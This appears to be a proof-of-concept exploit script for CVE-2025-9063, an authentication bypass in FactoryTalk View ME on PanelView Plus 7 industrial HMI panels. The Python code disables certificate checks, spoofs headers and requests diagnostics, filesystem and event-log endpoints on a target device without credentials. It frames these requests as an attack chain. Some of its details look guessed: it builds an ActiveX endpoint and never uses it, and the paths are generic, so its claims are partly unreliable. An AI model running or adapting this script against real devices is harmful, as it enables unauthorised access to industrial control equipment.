CVE-2025-9063

# CVE-2025-9063 - FactoryTalk View Machine Edition Authentication Bypass PoC # Vulnerability: Authentication bypass in Web Browser ActiveX control # Affected: PanelView Plus 7 Series B # CVSS: 9.8 (Critical) import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = "192.168.1.100" # Target PanelView Plus 7 Series B device TARGET_PORT = 443 # Default HTTPS port def exploit_auth_bypass(target_url): """ Exploit authentication bypass in FactoryTalk View ME ActiveX control. The Web Browser ActiveX control fails to enforce proper authentication, allowing direct access to protected endpoints without credentials. """ session = requests.Session() session.verify = False # Step 1: Access the ActiveX control endpoint without authentication activex_endpoint = f"{target_url}/rsactivex/rsactivexcab.cab" # Step 2: Request diagnostic information (bypasses authentication) diag_endpoint = f"{target_url}/diagnostics" headers = { "User-Agent": "Mozilla/5.0 (compatible; FactoryTalk View)", "X-Requested-With": "ActiveX", "Accept": "*/*" } print(f"[*] Targeting: {target_url}") print(f"[*] Attempting authentication bypass...") try: # Access diagnostic information without authentication response = session.get(diag_endpoint, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Authentication bypass successful!") print(f"[+] Retrieved diagnostic data:") print(response.text[:500]) return response.text except Exception as e: print(f"[-] Error: {e}") return None def access_filesystem(target_url): """ Access the device filesystem through the authentication bypass. """ session = requests.Session() session.verify = False # Attempt to list files via the vulnerable endpoint fs_endpoint = f"{target_url}/files" try: response = session.get(fs_endpoint, timeout=10) if response.status_code == 200: print(f"[+] Filesystem access granted!") return response.text except Exception as e: print(f"[-] Error: {e}") return None def retrieve_event_logs(target_url): """ Retrieve event logs from the target device. """ session = requests.Session() session.verify = False log_endpoint = f"{target_url}/eventlog" try: response = session.get(log_endpoint, timeout=10) if response.status_code == 200: print(f"[+] Event logs retrieved!") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": target = f"https://{TARGET_HOST}:{TARGET_PORT}" # Execute the attack chain diag_data = exploit_auth_bypass(target) fs_data = access_filesystem(target) log_data = retrieve_event_logs(target) if diag_data or fs_data or log_data: print("[+] CVE-2025-9063 exploitation completed successfully") else: print("[-] Exploitation failed - target may be patched")

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